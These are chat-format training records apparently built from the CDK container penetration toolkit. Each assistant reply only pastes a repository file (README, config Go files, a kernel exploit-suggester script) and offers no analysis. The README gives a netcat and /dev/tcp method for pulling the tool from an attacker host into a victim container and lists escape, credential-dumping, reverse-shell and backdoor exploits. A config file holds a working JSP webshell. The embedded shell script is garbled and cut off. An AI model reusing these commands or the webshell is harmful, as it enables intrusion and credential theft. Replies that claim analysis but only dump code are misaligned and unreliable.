{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: README.md\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n\n# CDK - Zero Dependency Container Penetration Toolkit\n\nEnglish | [\u7b80\u4f53\u4e2d\u6587](https://github.com/cdk-team/CDK/wiki/CDK-Home-CN)\n\n![png](https://user-images.githubusercontent.com/7868679/177925206-8d83dc95-0f2f-4d61-9a45-0d43b1b0468f.png)\n\n## Legal Disclaimer\n\nUsage of CDK for attacking targets without prior mutual consent is illegal.\nCDK is for security testing purposes only.\n\n## Overview\n\nCDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.\n\n## Quick Start\n\nRun **`cdk eva`** to get evaluate info and a recommend exploit, then run **`cdk run`** to start the attack.\n\n```\n> ./cdk eva --full\n\n[*] Maybe you can exploit the *Capabilities* below:\n[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.\n[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.\nCritical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.\nCritical - Possible Privileged Container Found.\n\n> ./cdk run cap-dac-read-search\n\nRunning with target: /etc/shadow, ref: /etc/hostname\nubuntu:$6$*******:19173:0:99999:7:::\nroot:*:18659:0:99999:7:::\ndaemon:*:18659:0:99999:7:::\nbin:*:18659:0:99999:7:::\n```\n\n## Installation/Delivery\n\nDownload latest release in https://github.com/cdk-team/CDK/releases/\n\nDrop executable files into the target container and start testing.\n\n### TIPS: Deliver CDK into target container in real-world penetration testing\n\nIf you have an exploit that can upload a file, then you can upload CDK binary directly.\n\nIf you have a RCE exploit, but the target container has no `curl` or `wget`, you can use the following method to deliver CDK:\n\n1. First, host CDK binary on your host with public IP.\n```\n(on your host)\nnc -lvp 999 < cdk\n```\n\n2. Inside the victim container execute\n```\ncat < /dev/tcp/(your_public_host_ip)/(port) > cdk\nchmod a+x cdk\n```\n\n## Usage\n```\nUsage:\n cdk evaluate [--full]\n cdk run (--list | [...])\n cdk [...]\n\nEvaluate:\n cdk evaluate Gather information to find weakness inside container.\n cdk evaluate --full Enable file scan during information gathering.\n\nExploit:\n cdk run --list List all available exploits.\n cdk run [...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki\n\nTool:\n vi Edit files in container like \"vi\" command.\n ps Show process information like \"ps -ef\" command.\n nc [options] Create TCP tunnel.\n ifconfig Show network information.\n kcurl (get|post) Make request to K8s api-server.\n ectl get Unauthorized enumeration of ectd keys.\n ucurl (get|post) Make request to docker unix socket.\n probe TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000\n\nOptions:\n -h --help Show this help msg.\n -v --version Show version.\n --profile= Select evaluation profile.\n```\n\n## Features\n\nCDK has three modules:\n\n1. Evaluate: gather information inside container to find potential weakness.\n2. Exploit: for container escaping, persistance and lateral movement\n3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.\n\n### Evaluate Module\n\nUsage\n```\ncdk evaluate [--full]\n```\n\n|Tactics|Script|Supported|Usage/Example|\n|---|---|---|---|\n|Information Gathering|OS Basic Info|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-System-Info)|\n|Information Gathering|Available Capabilities|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities)|\n|Information Gathering|Available Linux Commands|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities)|\n|Information Gathering|Mounts|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Mounts)|\n|Information Gathering|Net Namespace|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Net-Namespace)|\n|Information Gathering|Sensitive ENV|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services)|\n|Information Gathering|Sensitive Process|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services)|\n|Information Gathering|Sensitive Local Files|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Sensitive-Files)|\n|Information Gathering|Kube-proxy Route Localnet(CVE-2020-8558)|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-check-net.ipv4.conf.all.route_localnet)|\n|Information Gathering|DNS-Based Service Discovery|\u2714|[link](https://github.com/kubernetes/dns/blob/master/docs/specification.md)|\n|Discovery|K8s Api-server Info|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server)|\n|Discovery|K8s Service-account Info|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-Service-Account)|\n|Discovery|Cloud Provider Metadata API|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Evaluate:-Cloud-Provider-Metadata-API)|\n\n### Exploit Module\n\nList all available exploits:\n```\ncdk run --list\n```\n\nRun targeted exploit:\n```\ncdk run [options]\n```\n\n| Tactic | Technique | CDK Exploit Name | Supported | In Thin | Doc |\n|----------------------|------------------------------------------------------------|------------------------|-----------|----------------------------------------------------------------------------|--------------------------------------------------------------------------------------|\n| Escaping | docker-runc CVE-2019-5736 | runc-pwn | \u2714 | \u2714 ||\n| Escaping | containerd-shim CVE-2020-15257 | shim-pwn | \u2714 || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn) |\n| Escaping | docker.sock PoC (DIND attack) | docker-sock-check | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-check) |\n| Escaping | docker.sock RCE | docker-sock-pwn | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-pwn) |\n| Escaping | Docker API(2375) RCE | docker-api-pwn | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-api-pwn) |\n| Escaping | Device Mount Escaping | mount-disk | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-disk) |\n| Escaping | LXCFS Escaping | lxcfs-rw | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw) |\n| Escaping | Cgroups Escaping | mount-cgroup | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-cgroup) |\n| Escaping | Abuse Unprivileged User Namespace Escaping CVE-2022-0492 | abuse-unpriv-userns | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-abuse-unpriv-userns) |\n| Escaping | Procfs Escaping | mount-procfs | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs) |\n| Escaping | Ptrace Escaping PoC | check-ptrace | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-check-ptrace) |\n| Escaping | Rewrite Cgroup(devices.allow) | rewrite-cgroup-devices | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-rewrite-cgroup-devices) |\n| Escaping | Read arbitrary file from host system (CAP_DAC_READ_SEARCH) | cap-dac-read-search | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-cap-dac-read-search) |\n| Discovery | K8s Component Probe | service-probe | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-service-probe) |\n| Discovery | Dump Istio Sidecar Meta | istio-check | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-check-istio) |\n| Discovery | Dump K8s Pod Security Policies | k8s-psp-dump | \u2714 || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-psp-dump) |\n| Remote Control | Reverse Shell | reverse-shell | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-reverse-shell) |\n| Remote Control | Kubelet Exec | kubelet-exec | \u2714 | \u2714 | |\n| Credential Access | Registry BruteForce | registry-brute | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-Container-Image-Registry-Brute) |\n| Credential Access | Access Key Scanning | ak-leakage | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-ak-leakage) |\n| Credential Access | Etcd Get K8s Token | etcd-get-k8s-token | \u2714 | \u2714 | |\n| Credential Access | Dump K8s Secrets | k8s-secret-dump | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) |\n| Credential Access | Dump K8s Config | k8s-configmap-dump | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) |\n| Privilege Escalation | K8s RBAC Bypass | k8s-get-sa-token | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) |\n| Persistence | Deploy WebShell | webshell-deploy | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy) |\n| Persistence | Deploy Backdoor Pod | k8s-backdoor-daemonset | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset) |\n| Persistence | Deploy Shadow K8s api-server | k8s-shadow-apiserver | \u2714 || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) |\n| Persistence | K8s MITM Attack (CVE-2020-8554) | k8s-mitm-clusterip | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Evaluate:-k8s-mitm-clusterip) |\n| Persistence | Deploy K8s CronJob | k8s-cronjob | \u2714 | \u2714 | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-cronjob) |\n\n**Note about Thin:** The **thin release** is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.\n\n### Tool Module\n\nRunning commands like in Linux, little different in input-args, see the usage link.\n```\ncdk nc [options]\ncdk ps\n```\n\n|Command|Description|Supported|Usage/Example|\n|---|---|---|---|\n|nc|TCP Tunnel|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-nc)|\n|ps|Process Information|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ps)|\n|netstat|Like \"netstat -antup\" command|\u2714||\n|ifconfig|Network Information|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ifconfig)|\n|vi|Edit Files|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-vi)|\n|ectl|Unauthorized enumeration of ectd keys|\u2714||\n|kcurl|Request to K8s api-server|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-kcurl)|\n|dcurl|Request to Docker HTTP API|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-dcurl)|\n|ucurl|Request to Docker Unix Socket|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ucurl)|\n|rcurl|Request to Docker Registry API|||\n|probe|IP/Port Scanning|\u2714|[link](https://github.com/cdk-team/CDK/wiki/Tool:-probe)|\n\n### Release Document\n\nIf you want to know how we released a new version, how thin is produced, why we provide upx versions, what the differences between different versions about all, normal, thin, upx are, and how to choose specific CDK exploits and tools to compile an own release for yourself, please check the [Release Document](https://github.com/cdk-team/CDK/wiki/Release).\n\n## Developer Docs\n\n* [run test in container.](https://github.com/cdk-team/CDK/wiki/Run-Test)\n\n## Contributing to CDK\n\nFirst off, thanks for taking the time to contribute!\n\nThanks for the following contributors:\n\n\n \n\n\nMore contributors\uff1a[Contributors List](thanks.md)\n\n#### Bug Reporting\n\nBugs are tracked as [GitHub Issues](https://github.com/cdk-team/CDK/issues). Create an issue with the current CDK version, error msg and the environment. Describe the exact steps which reproduce the problem.\n\n#### Suggesting Enhancements\n\nEnhancement suggestions are tracked as [GitHub Discussions](https://github.com/cdk-team/CDK/discussions). You can publish any thoughts here to discuss with developers directly.\n\n#### Pull Requests\n\nFix problems or maintain CDK's quality:\n\n* Describe the current CDK version, environment, problem and exact steps that reproduce the problem.\n* Running screenshots or logs before and after you fix the problem.\n\nNew feature or exploits:\n\n* Explain why this enhancement would be useful to other users.\n* Please enable a sustainable environment for us to review contributions.\n* Screenshots about how this new feature works.\n* If you are committing a new evaluate/exploit scripts, please add a simple doc to your PR message, here is an [example](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-deploy).\n\n## Events\n\n### 404StarLink 2.0 - Galaxy\n![png](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)\n\nProject CDK is now included in 404Team [Starlink Project 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy). Join the StarLink community to get in touch with CDK dev-team.\n\n- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)\n\n### BlackHat Asia 2021 Arsenal\n\n- [https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422](https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422)\n\n### HITB SecConf 2021 Amsterdam\n\n- [Briefing: \"Attack Cloud Native Kubernetes\"](https://conference.hitb.org/hitbsecconf2021ams/sessions/attacking-cloud-native-kubernetes-with-cdk/)\n\n\n### WHC 2021 (\u8865\u5929\u767d\u5e3d\u5927\u4f1a)\n\n- [CDK: Also a Awesome BugBounty Tool for Cloud Platform](https://github.com/neargle/slidefiles/blob/main/2021%20WHC2021%20CDK-Also-a-Awesome-BugBounty-Tool-for-Cloud-Platform.pptx.pdf)\n\n### KCON 2021 Arsenal\n\n- [http://kcon.knownsec.com/2021/#/arsenal](http://kcon.knownsec.com/2021/#/arsenal)\n\n### Kubernetes community Days 2021 \n\n- [https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/](https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/)\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: thanks.md\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n# Additional Contributors and Thanks\n\n### PUBLIC\n\n\n \n\n\n### PRIVATE\n\nThanks to private contributions and friends!\n\nAvatar | ID | Link\n---- | ---- | ----\n[![lazydog](https://github.com/yeahx.png?size=40)](https://github.com/yeahx) | [lazydog](https://github.com/yeahx) | https://github.com/yeahx\n[![kingkaki](https://github.com/kingkaki.png?size=40)](https://github.com/kingkaki) | [kingkaki](https://github.com/kingkaki) | https://github.com/kingkaki\n[![wywwzjj](https://github.com/wywwzjj.png?size=40)](https://github.com/wywwzjj) | [wywwzjj](https://github.com/wywwzjj) | https://github.com/wywwzjj\n[![404tk](https://github.com/404tk.png?size=40)](https://github.com/404tk) | [404tk](https://github.com/404tk) | https://github.com/404tk\n\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: cmd/cdk/cdk.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t_ \"github.com/cdk-team/CDK/pkg/exploit\" // register all exploits\n\t_ \"github.com/cdk-team/CDK/pkg/task\" // register all task\n)\n\nfunc main() {\n\tcli.ParseCDKMain()\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: conf/build_conf.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage conf\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: conf/evaluate_conf.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage conf\n\n// check useful linux commands in container\nvar LinuxCommandChecklist = []string{\n\t\"curl\",\n\t\"wget\",\n\t\"nc\",\n\t\"netcat\",\n\t\"kubectl\",\n\t\"docker\",\n\t\"find\",\n\t\"ps\",\n\t\"java\",\n\t\"python\",\n\t\"python3\",\n\t\"php\",\n\t\"node\",\n\t\"npm\",\n\t\"apt\",\n\t\"yum\",\n\t\"dpkg\",\n\t\"nginx\",\n\t\"httpd\",\n\t\"apache\",\n\t\"apache2\",\n\t\"ssh\",\n\t\"mysql\",\n\t\"mysql-client\",\n\t\"git\",\n\t\"svn\",\n\t\"vi\",\n\t\"capsh\",\n\t\"mount\",\n\t\"fdisk\",\n\t\"gcc\",\n\t\"g++\",\n\t\"make\",\n\t\"base64\",\n\t\"python2\",\n\t\"python2.7\",\n\t\"perl\",\n\t\"xterm\",\n\t\"sudo\",\n\t\"ruby\",\n}\n\nvar DefaultPathEnv = []string{\n\t\"/usr/local/sbin\",\n\t\"/usr/local/bin\",\n\t\"/usr/sbin\",\n\t\"/usr/bin\",\n\t\"/sbin\",\n\t\"/bin\",\n\t\"/usr/games\",\n\t\"/usr/local/games\",\n\t\"/snap/bin\",\n}\n\n// match ENV to find useful service\nvar SensitiveEnvRegex = \"(?i)\\\\bssh_|k8s|kubernetes|docker|gopath\"\n\n// match process name to find useful service\nvar SensitiveProcessRegex = \"(?i)ssh|ftp|http|tomcat|nginx|engine|php|java|python|perl|ruby|kube|docker|\\\\bgo\\\\b\"\n\n// match local file path to find sensitive file\n// walk starts from StartDir and match substring(AbsFilePath,)\ntype sensitiveFileRules struct {\n\tStartDir string\n\tNameList []string\n}\n\nvar SensitiveFileConf = sensitiveFileRules{\n\tStartDir: \"/\",\n\tNameList: []string{\n\t\t`/docker.sock`, // docker socket (http)\n\t\t`/containerd.sock`, // containerd socket (grpc)\n\t\t`/containerd/s/`, // containerd-shim socket (grpc)\n\t\t`.kube/`,\n\t\t`.git/`,\n\t\t`.svn/`,\n\t\t`.pip/`,\n\t\t`/.bash_history`,\n\t\t`/.bash_profile`,\n\t\t`/.bashrc`,\n\t\t`/.ssh/`,\n\t\t`.token`,\n\t\t`/serviceaccount`,\n\t\t`.dockerenv`,\n\t\t`/config.json`,\n\t},\n}\n\n// Check cloud provider APIs in evaluate task\ntype cloudAPIS struct {\n\tCloudProvider string\n\tAPI string\n\tResponseMatch string\n\tDocURL string\n}\n\nvar CloudAPI = []cloudAPIS{\n\t{\n\t\tCloudProvider: \"Volcano Engine (Volcengine)\",\n\t\tAPI: \"http://100.96.0.96/latest\",\n\t\tResponseMatch: \"instance\",\n\t\tDocURL: \"https://www.volcengine.com/docs/6396/113780\",\n\t},\n\t{\n\t\tCloudProvider: \"Alibaba Cloud\",\n\t\tAPI: \"http://100.100.100.200/latest/meta-data/\",\n\t\tResponseMatch: \"instance-id\",\n\t\tDocURL: \"https://help.aliyun.com/knowledge_detail/49122.html\",\n\t},\n\t{\n\t\tCloudProvider: \"Azure\",\n\t\tAPI: \"http://169.254.169.254/metadata/instance\",\n\t\tResponseMatch: \"azEnvironment\",\n\t\tDocURL: \"https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service\",\n\t},\n\t{\n\t\tCloudProvider: \"Google Cloud\",\n\t\tAPI: \"http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true\",\n\t\tResponseMatch: \"deviceName\",\n\t\tDocURL: \"https://cloud.google.com/compute/docs/storing-retrieving-metadata\",\n\t},\n\t{\n\t\tCloudProvider: \"Tencent Cloud\",\n\t\tAPI: \"http://metadata.tencentyun.com/latest/meta-data/\",\n\t\tResponseMatch: \"instance-name\",\n\t\tDocURL: \"https://cloud.tencent.com/document/product/213/4934\",\n\t},\n\t{\n\t\tCloudProvider: \"OpenStack\",\n\t\tAPI: \"http://169.254.169.254/openstack/latest/meta_data.json\",\n\t\tResponseMatch: \"availability_zone\",\n\t\tDocURL: \"https://docs.openstack.org/nova/rocky/user/metadata-service.html\",\n\t},\n\t{\n\t\tCloudProvider: \"Amazon Web Services (AWS)\",\n\t\tAPI: \"http://169.254.169.254/latest/meta-data/\",\n\t\tResponseMatch: \"instance-id\",\n\t\tDocURL: \"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html\",\n\t},\n\t{\n\t\tCloudProvider: \"ucloud\",\n\t\tAPI: \"http://100.80.80.80/meta-data/latest/uhost/\",\n\t\tResponseMatch: \"uhost-id\",\n\t\tDocURL: \"https://docs.ucloud.cn/uhost/guide/metadata/metadata-server\",\n\t},\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: conf/exploit_conf.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage conf\n\n// scan file text to find AK/Secrets\n// pkg/exploit/file_scan.go\ntype textScanRules struct {\n\tMaxFileByte int64 // skip largefile\n\tSkipExecutableFile bool // skip executable file\n\tRegexList map[string]string // regex to match file text\n}\n\nvar ScanFileTextConf = textScanRules{\n\tMaxFileByte: 1024 * 1024,\n\tSkipExecutableFile: true,\n\tRegexList: map[string]string{\n\t\t\"Slack Token\": \"(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})\",\n\t\t\"RSA private key\": \"-----BEGIN RSA PRIVATE KEY-----\",\n\t\t\"SSH (OPENSSH) private key\": \"-----BEGIN OPENSSH PRIVATE KEY-----\",\n\t\t\"SSH (DSA) private key\": \"-----BEGIN DSA PRIVATE KEY-----\",\n\t\t\"SSH (EC) private key\": \"-----BEGIN EC PRIVATE KEY-----\",\n\t\t\"PGP private key block\": \"-----BEGIN PGP PRIVATE KEY BLOCK-----\",\n\t\t\"Facebook Oauth\": \"[f|F][a|A][c|C][e|E][b|B][o|O][o|O][k|K].{0,30}['\\\"\\\\s][0-9a-f]{32}['\\\"\\\\s]\",\n\t\t\"Twitter Oauth\": \"[t|T][w|W][i|I][t|T][t|T][e|E][r|R].{0,30}['\\\"\\\\s][0-9a-zA-Z]{35,44}['\\\"\\\\s]\",\n\t\t\"GitHub\": \"[g|G][i|I][t|T][h|H][u|U][b|B].{0,30}['\\\"\\\\s][0-9a-zA-Z]{35,40}['\\\"\\\\s]\",\n\t\t\"Google Oauth\": \"(\\\"client_secret\\\":\\\\s*?\\\"[a-zA-Z0-9-_]{24}\\\")\",\n\t\t\"AWS API Key\": \"AKIA[A-Z0-9]{16}\",\n\t\t\"Heroku API Key\": \"[h|H][e|E][r|R][o|O][k|K][u|U].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\",\n\t\t\"Generic Secret\": \"[s|S][e|E][c|C][r|R][e|E][t|T].{0,30}['\\\"\\\\s][0-9a-zA-Z]{32,45}['\\\"\\\\s]\",\n\t\t\"Generic API Key\": \"[a|A][p|P][i|I][_]?[k|K][e|E][y|Y].{0,30}['\\\"\\\\s][0-9a-zA-Z]{32,45}['\\\"\\\\s]\",\n\t\t\"Slack Webhook\": \"https://hooks\\\\.slack\\\\.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}\",\n\t\t\"Google (GCP) Service-account\": \"\\\"type\\\": \\\"service_account\\\"\",\n\t\t\"Twilio API Key\": \"SK[a-z0-9]{32}\",\n\t\t\"Password in URL\": \"[a-zA-Z]{3,10}://[^/\\\\s:@]{3,20}:[^/\\\\s:@]{3,20}@.{1,100}[\\\"'\\\\s]\",\n\t},\n}\n\nvar K8sSATokenDefaultPath = \"/var/run/secrets/kubernetes.io/serviceaccount/token\"\n\nvar WebShellCodeJSP = \"<%Runtime.getRuntime().exec(request.getParameter(\\\"$SECRET_PARAM\\\"));%>\"\n\nvar WebShellCodePHP = \"\"\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: conf/linux_kernel_exploit.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage conf\n\n// from https://github.com/mzet-/linux-exploit-suggester\n// version: 1.1\n// linux-exploit-suggester.sh - a script to suggest possible exploits for a given Linux kernel version\n// sourcecode: https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/v1.1/linux-exploit-suggester.sh\nvar KernelExploitScript = `\n#!/bin/bash\n\n#\n# Copyright (c) 2016-2020, @_mzet_\n#\n# linux-exploit-suggester.sh comes with ABSOLUTELY NO WARRANTY.\n# This is free software, and you are welcome to redistribute it\n# under the terms of the GNU General Public License. See LICENSE\n# file for usage of this software.\n#\n\nVERSION=v1.1\n\n# bash colors\n#txtred=\"\\e[0;31m\"\ntxtred=\"\\e[91;1m\"\ntxtgrn=\"\\e[1;32m\"\ntxtgray=\"\\e[0;37m\"\ntxtblu=\"\\e[0;36m\"\ntxtrst=\"\\e[0m\"\nbldwht='\\e[1;37m'\nwht='\\e[0;36m'\nbldblu='\\e[1;34m'\nyellow='\\e[1;93m'\nlightyellow='\\e[0;93m'\n\n# input data\nUNAME_A=\"\"\n\n# parsed data for current OS\nKERNEL=\"\"\nOS=\"\"\nDISTRO=\"\"\nARCH=\"\"\nPKG_LIST=\"\"\n\n# kernel config\nKCONFIG=\"\"\n\nCVELIST_FILE=\"\"\n\nopt_fetch_bins=false\nopt_fetch_srcs=false\nopt_kernel_version=false\nopt_uname_string=false\nopt_pkglist_file=false\nopt_cvelist_file=false\nopt_checksec_mode=false\nopt_full=false\nopt_summary=false\nopt_kernel_only=false\nopt_userspace_only=false\nopt_show_dos=false\nopt_skip_more_checks=false\nopt_skip_pkg_versions=false\n\nARGS=\nSHORTOPTS=\"hVfbsu:k:dp:g\"\nLONGOPTS=\"help,version,full,fetch-binaries,fetch-sources,uname:,kernel:,show-dos,pkglist-file:,short,kernelspace-only,userspace-only,skip-more-checks,skip-pkg-versions,cvelist-file:,checksec\"\n\n## exploits database\ndeclare -a EXPLOITS\ndeclare -a EXPLOITS_USERSPACE\n\n## temporary array for purpose of sorting exploits (based on exploits' rank)\ndeclare -a exploits_to_sort\ndeclare -a SORTED_EXPLOITS\n\n############ LINUX KERNELSPACE EXPLOITS ####################\nn=0\n\nEXPLOITS[((n++))]=$(cat <=2.6.5,ver<=2.6.11\nTags:\nRank: 1\nexploit-db: 1397\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.2\nTags:\nRank: 1\nexploit-db: 160\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17\nTags:\nRank: 1\nexploit-db: 2031\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17\nTags:\nRank: 1\nexploit-db: 2004\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17\nTags:\nRank: 1\nexploit-db: 2005\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17\nTags:\nRank: 1\nexploit-db: 2006\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17\nTags:\nRank: 1\nexploit-db: 2011\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.8,ver<=2.6.16\nTags:\nRank: 1\nbin-url: 